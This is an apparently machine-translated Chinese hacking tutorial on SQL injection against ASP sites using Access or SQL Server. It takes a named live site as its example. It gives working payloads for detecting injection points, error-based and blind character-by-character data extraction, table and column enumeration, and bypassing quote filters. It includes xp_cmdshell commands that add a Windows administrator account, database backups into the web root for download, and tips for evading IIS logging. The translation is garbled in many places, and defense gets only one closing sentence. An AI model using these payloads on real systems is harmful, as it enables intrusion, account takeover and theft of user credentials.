Author: NB Union - Kotake Introduction With the development of B / S mode application development, the use of this model programmers to write applications more and more. However, due to the high entry threshold in this industry, the level and experience of programmers are uneven. A considerable part of the programmer does not judge the legality of the user input data when writing code, so that the application has security hazards. Users can submit a database query code, obtain certain data he wants, based on the result returned by the program, which is the so-called SQL INJECTION, that is, SQL injection. SQL injection is accessed from normal WWW port, and the surface looks with the general web page access. There is no difference in the new firewall, so there will be alert to SQL injection. If the administrator does not view the habit of IIS * The invasion will not be found for a long time. However, the technique of SQL injection is quite flexible, and there will be many unexpected situations when injected. Can you analyze according to the specific situation, construct a smart SQL statement, so that the desired data is successfully obtained, it is the fundamental difference between the master and the "rookie". According to national conditions, domestic websites use ASP Access or SQLServer to account for more than 70%, PHP MySQ accounts for L20%, and there are less than 10% of others. In this article, we will introduce the approach, advanced to advanced explanation of ASP injection methods and techniques, and PHP injected article written by another friend of the NB Alliance Zwell, I hope to use the security workers and programmers. For friends who know the ASP injection, please do not skip the entry, because some people have misunderstandings about the basic judgment methods of the injected. Are you ready? Let's Go ... Into the door If you haven't tried SQL injection before, then the first step will first put the IE menu => tool => Internet option => Advanced => Show friendly HTTP error message before the hook. Otherwise, no matter what the server returns, IE is only displayed as an HTTP 500 server error, and more prompt information cannot be obtained. In the first section, the SQL injection principle The following we started from a network www.19cn.com (Note: This station long agreed by this station, most of them are real data). On the homepage of the website, there are "IE can't open a new window" link, the address is: http://www.19cn.com/showdetail.asp? Id = 49, we add this address after this address Single quotes ', the server will return the following error message: Microsoft Jet Database Engine Error' Syntax Error of '80040e14' Strings In Query Expressions 'ID = 49' ''. /SHOWDETAIL.ASP, line 8 From this error prompt we can see the following: 1. The website is used by the Access database, connects the database through the JET engine, not through ODBC. 2. The program does not determine whether the data submitted by the client meets the program requirements. 3. This SQL statement is inquired with a field of ID. From the above example we can know that the principle of SQL injection is to submit a special code from the client, resulting in the collection of procedures and servers, giving the information you want to get.
In the second section, it is said that some people will feel that there are some people who can do it: I am not very simple to test, this is not very simple? In fact, this is not the best way, why? First, it is not necessarily that the IIS of each server is returned to the client. If the program is added to the client, if the program is added, SQL injection is not successful, but the server will also report an error, the specific prompt information is Error on the server when processing the URL. Please contact the system administrator. Second, some of the programmers who have a little understanding of SQL injection is considered to be safe, this situation is not a few, if you use single quotes test, you can't measure the injection point, what kind of Is the test method be more accurate? The answer is as follows: 1 http://www.19cn.com/showdetail.asp?id=492 http://www.19cn.com/showdetail.asp?id=49 ;; And 1 = 1 http: // www. 19cn.com/showdetail.asp?id=49 ;; And 1 = 2 This is a classic 1 = 1, 1 = 2 test method, how to judge? See the result of the three URLs back to: I can inject: 1 Normal display (this is inevitable, it is the program has an error) 2 Normal display, the content is basically the same 3 prompt BOF or EOF (program Did not do any judgment), or prompting the record (when RS.eof) is not found, or the display is empty (the program adds to an ORROR RESUME NEXT), it is easier to judge, 1 is also normal display, 2 and 3 Generally there will be an error message defined by the program, or the prompt type conversion error. Of course, this is just the incoming parameter is the judgment method used by the digital type. When actual application, there will be character types and search type parameters, I will analyze the "SQL Injecting General Steps" in the intermediate level. Section III, determine the function of the database type and the injection method, the injection method is different, so we must judge the type of database before injection. General ASP's most frequently matched databases are ACCESS and SQLSERVER, one of more than 99% of websites online. How to let the program tell you what database it uses? Take a look: SQL Server has some system variables, if the server IIS prompt is not closed, and SQL Server returns an error prompt, then you can get directly from the error information, the method is as follows: http://www.19cn.com/showdetail.asp? Id = 49 ;; And user> 0 This statement is simple, but it contains the essence of SQLServer's unique injection method. I also found this efficient susceptibility in a unintentional test. Let me look at its meaning: First, the previous statement is normal, focus on anduser> 0, we know, User is a built-in variable of SQL Server, and its value is the user name currently connected, the type is nVarchar.
Take a nVarchar value to the intra 0 comparison, the system will try to turn nvarchar's value to int type. Of course, the process will definitely errors in the process, and SQL Server error prompt is: convert the nVARCHAR value "ABC" conversion data type When INT's column, the syntax error occurs, huh, ABC is the value of the variable user, so that the power of the database is not scrapped. In the subsequent space, everyone will see a lot of statements with this method. By the way, it is well known that SQLServer's user sa is a role of equivominstrators permissions, got SA permissions, almost certainly gets the host's Administrator. The above method can be very convenient to test whether it is logged in with sa, if it is the SA login, the prompt is a column that converts "DBO" into an int to errors, not "SA". If the server IIS is not allowed to return an error prompt, how do you determine the database type? We can start from Access and SQL Server and distinguish, Access and Sql Server have its own system table, such as storing all objects in the database, Access is in system table [msysObjects], but read the table in the web environment " No permissions, "SQL Server is in the table [sysObjects], which can be read normally in a web environment. In the case where you can inject, use the following statement: http://www.19cn.com/showdetail.asp? Id = 49 ;; and (select count (*) from sysobjects> 0http://www.19cn .com / showdetail.asp? id = 49 ;; and (select count (*) from msysObject> 0 If the database is SQL Server, the page of the first URL with the original page http://www.19cn.com/showdetail .asp? id = 49 is roughly the same; and the second URL, because the table MsysObjects can not be found, it will prompt the error, even if the program has fault tolerance, the page is completely different from the original page. If the database uses Access, then the situation is different, the page of the first URL is completely different from the original page; the second URL, depending on whether the database settings are allowed to read the system table, generally not allowed Therefore, it is also completely different from the original website. In most cases, use the first URL to know the database type used by the system, and the second URL only uses authentication when IIS error prompt. In the entry, we learned the judgment method of SQL injection, but it is not enough to get the confidential content of the website. Next, we continue to learn how to get the content you want to get from the database, first, let's take a look at the general steps in SQL injection: First, the general step of SQL injection first, determine the environment, find an injection point, determine the database Type, this has been introduced in the entry.
Secondly, according to the type of injection parameter, the original appearance of the SQL statement is reconstructed in the mind. According to the parameter type, the following three are the following: (a) ID = 49 This type of injection parameter is a digital type, and the SQL statement is roughly as follows: SELECT * From Name WHERE Field = 49 Injection parameters is ID = 49 and [Query Condition], that is, generated statement: SELECT * FROM table name where field = 49 and [query condition] (b) Class = Continuous drama This type of injection parameter It is a character pattern, and the SQL statement is generally approrated: select * from the name of the WHERE field = 'series of injected parameters Class = Continuous drama' and "query conditions] and '' = ', that is, generate statements: SELECT * FROM table Name WHERE Field = 'Continuous Play' AND [Query Condition] and '' = '(c) No filtering parameters, such as keyword = keyword, SQL statement original is as follows: SELECT * FROM table name Where Field Like'% Keyword% 'injection parameter is keyword =' AND [query condition] and '% 25' = ', that is, generating statement: SELECT * FROM table name Where Field Like'% 'AND [Query Condition] and'% '= '%' Next, replace the query condition into a SQL statement, guess the table name, for example: id = 49 and (select count (*) from admin> = 0 If the page is the same as ID = 49, the additional condition is established. That is, the table admin exists, but in turn, it does not exist (please keep this method). So loop until you guessed the name. After guess, replace count (*) into a count (field name), and specifically depends the word name. Some people will say: There are some casual components here. If the name is very complicated, it will not have to play. It is very pair, this world does not exist 100% successful hacker technology, flies do not seamless eggs, no matter how many technologies, a few hackers, because others are not strict or not, the user is not confidential. I have to get it. I have a little bit, saying it back, for SQL Server library, there is a way to let the program tell us the name and field name, we will introduce in the advanced article. Finally, after the table name and column name are successful, use the SQL statement to get the value of the field, and the most common method is described below. Although this method is very slow, it must be feasible Methods. We will give an example, known in the form of the username field, first of all, we take the first record, test length: http://www.19cn.com/showdetail.asp? Id = 49 ;; And (SELECT TOP 1 LEN (UserName)> 0 First Description Principle: If the username length of TOP 1 is greater than 0, the condition is established; then it is> 1,> 2,> 3 so that the condition is not established, such as> 7 is established. ,> 8 is not established, it is len (username) = 8 Of course, no one will be stupid from 0, 1, 2, 3 one test, how to see each play.
After obtaining the length of the username, the nth character is intercepted with MID (username, n, 1), and then ASC (MID (UserName, N, 1)) Gets the ASCII code, such as: ID = 49 and (SELECT TOP 1 ASC ( MID (username, 1, 1)) from admin> 0 is also the ASCII code of the first character with a step-by-step range, pay attention to between the English and numbers of ASCII code between 1-128, can be used for half Method Accelerate the guess, if the program is written, the efficiency will have great improvement. In the second section, the SQL injection common function has a SQL language base, and the success rate is much higher than those who are not familiar with the SQL injection. We must improve our SQL level, especially some common functions and orders. Access: ASC (Character) SQLServer: Unicode (Character) Returning ASCII code Access: chr (number) SQLServer: nchar (Number) effect: In contrast to ASC, return character access: MID according to the ASCII code (string, N, l) SQLServer: Substring (String, N, L) Run: Returns the string from n characters from the sub string of the length L, ie a string access between N to N L: ABC (Digital) SQL Server: ABC (Digital) Role: Returns the absolute value of the number (used when guessing Chinese characters) Access: a between b and c SQLServer: a betWeen B And C action: Judgment A is bound between B and C In the third quarter, the Chinese processing method encounters the Chinese characters in the injecting. Some people want to fight back in a Chinese character. In fact, as long as you know Chinese coding, "Chinese phobia" can quickly overcome. Let's talk about a little common sense: Access, Chinese ASCII code may have a negative number, take out the negative of the negative, with ABS () to take the absolute value, the Chinese characters unchanged. In SQL Server, Chinese ASCII is positive, but since it is a two-bit encoding of Unicode, the ASCII code cannot be obtained using a function ascii (), and the function unicode () must be used to return the corresponding Chinese character with the nchar function. After understanding the two points above, if you think Chinese guess is actually almost the same as English? In addition to the function of use, it is important to pay attention to the specification, the method is nothing wrong. After the high-level articles are finished and advanced, they are slightly exercised, and there is no problem with the general website. But if you can't touch the name of the table name, or how the author is filtered with some special characters, how to improve the success rate of injection? How to improve the guess efficiency? Let everyone look down in the high-end.
In the first quarter, use the system table to inject SQLServer database SQLServer is a powerful database system, which has a close relationship with the operating system, which brings great convenience to developers, but on the other hand, it provides the injection. A springboard, let's take a look at several specific examples: 1 http://site/url.asp? Id = 1; exec master "xp_cmdshell" net user name password / add "- semicolon; in SQLServer Indicates the two sentences before and after, - indicates that the following statement is a comment, so this statement will be divided into two sentences in SQL Server, first of the SELECT Id = 1 record, then execute the stored procedure XP_cmdshell, this storage process Used to call the system command, so use the net command to create a new user name, password is Password's Windows account, then: 2 http: //site/url.asp? Id = 1; exec master..xp_cmdshell "Net Localgroup name administrators / add "- Add the new account name to the administrator group, don't have to be used, you have already got the highest authority of the system! Of course, this method is only applicable to the case where the database is connected to the SA, otherwise, there is no permission to call XP_cmdshell. 3 http://site/url.asp? Id = 1 ;; And db_name ()> 0 There is a similar example and user> 0, the role is to get the connection user name, db_name () is another system variable, return It is a connected database name. 4 http://site/url.asp? Id = 1; Backup Database database name to disk = 'c: /inetpub/wwroot/1.db'; - This is quite awkward, from 3 to Database name, plus some IIS error exposed absolute path, back up the database back to the web directory, and use HTTP to complete the entire database over the entire download, all administrators and user passwords are unfair! When you don't know the absolute path, you can also back up the method of the network address (such as //202.96.xx.xx/share/1.db), but the success rate is not high. 5 http://site/url.asp? Id = 1 ;; And (select top 1 name from sysobjects where xtype = 'u' and status> 0)> 0 said that sysobjects is the system table of SQL Server, stored All table names, views, constraints, and other objects, Xtype = 'u' and status> 0, indicating the table name established by the user, the above statement is removed, and the 0 is relatively small, let the error message table Name exposes. Second, how to get the third table name? Or leave our smart readers think. 6 http://site/url.asp? Id = 1 ;; And (select top 1 col_name (Object_ID ('Name'), 1) After getting the table name from 5, use Object_ID (' Table name ') Get internal ID, col_name (Name ID, 1) of the table name represents the first field name of the table, and replace it with 2, 3, 4 ... you can get the specified table one by one The field name inside.
The above 6 points is that I have studied SQL Server injection of hardcore crystals, it can be seen that the degree of understanding of SQL Server directly affects success rate and guessing speed. After I study SQLServer injection, I also got a lot of improvement in development, huh, maybe safety and development was completed. In the second section, bypassing the program restrictions continue to inject in the entry section, there are many people like to use the 'number of injection vulnerabilities, so there are many people who use the filter' to "prevent" to inject vulnerabilities, this may block some entry Attack, but people who are more familiar with SQL, or can use the related functions to achieve the purpose of bypassing program restrictions. In the "SQL Injection" section, the statements I have use have been optimized, so that they do not include single quotes; in the "Using the System Table Inject into the SQLServer Database", some statements contain a 'number, We give an example to see how to transform these statements: Simple, such as WHERE XTYPE = 'u', the ASCII code corresponding to the character u is 85, so you can use where xtype = char (85) instead; if the character is Chinese, for example Where name = 'user', can be replaced with WHERE Name = nchar (29992) NCHAR (25143). Section III, experience summatation 1. Some people will filter these keywords, but forget the case of case sensation, so everyone can try it with Select. 2. When you can't guess the field name, you may wish to look at the login form on the website. Generally, the field name is the same name with the form of the form. 3. Special Note: The number incorporated in the address bar is interpreted as space, the% 2B is interpreted as number, and the% 25 is explained to the% number, and the specific introduction can be referred to URLENCode. 4. When injecting with GET method, IIS will record all your submission strings, do not record the POST method, so you can use the POST's URL to try not to use GET. 5. Instest the use of ASCII checking method, SQL Server can also use this method, only the difference between the two can only be exposed, but if the value of the error information can be exposed, that efficiency and Accuracy will have great improvements. The defense method SQL injection vulnerability can be described as "a thousand miles of embankment, collapsed in the ant hole", which is extremely common online, usually because the programmer does not understand, or the program is not strict, or a parameter is not strict, or a parameter is forgotten.
